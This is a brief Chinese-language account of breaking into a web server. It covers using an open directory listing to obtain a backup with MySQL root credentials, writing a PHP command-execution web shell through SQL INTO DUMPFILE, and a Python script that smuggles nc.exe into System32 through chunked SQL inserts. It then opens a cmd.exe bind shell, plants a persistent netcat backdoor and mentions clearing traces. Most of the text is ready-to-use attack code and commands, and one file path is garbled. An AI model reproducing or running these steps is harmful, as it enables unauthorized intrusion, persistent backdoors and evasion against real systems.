* 拿到网站上传权限
发现网站有默认 3306 phpmyadmin但是不知道账号密码。
很巧合,站长没有对site的indexes做限制,所以我可以查看他一些目录下的文件,恰巧有一份网站的备份被我下载到,得到3306的root权限。
* 提权
通过上传权限来提权
DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); select fm from fm into dumpfile 'D:\WWW\execute.php'; drop table fm; flush logs;
如此一来只要我们上传了nc.exe 就可以通过 execute.php 来执行打开一个端口。
http://xxx.xxx.xxx.xxx/execute.php?c=nc.exe -l -p1234 -e cmd.exe
通过脚本将nc.exe 分成多次存入数据库,依法导出到某处,附shellcode生成脚本
fp = open('nc.exe', 'rb') content = fp.read() content = content.encode('hex') fp0 = open('nc-shellcode.sql', 'wt') fp0.write(''' DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); ''') for idx in range(len(content)/1024 + 1): if idx == 0: fp0.write('''insert into fm (fm) values (0x%s); '''% content[idx*1024:(idx+1)*1024]) else: fp0.write('''UPDATE fm SET fm=CONCAT(fm, 0x%s);''' % content[idx*1024:(idx+1)*1024]) fp0.write(''' select fm from fm into dumpfile 'C:\\Windows\\System32\\nc.exe'; drop table fm; flush logs; ''')
将生成的sql执行, 生成 C:WindowsSystem32 c.exe
访问刚刚提到的url,即可打开1234
用nc.exe链接完成提权
nc xxx.xxx.xxx.xxx 1234
* 扩展留下后门,清理痕迹
nc -L -p1235 -e cmd.exe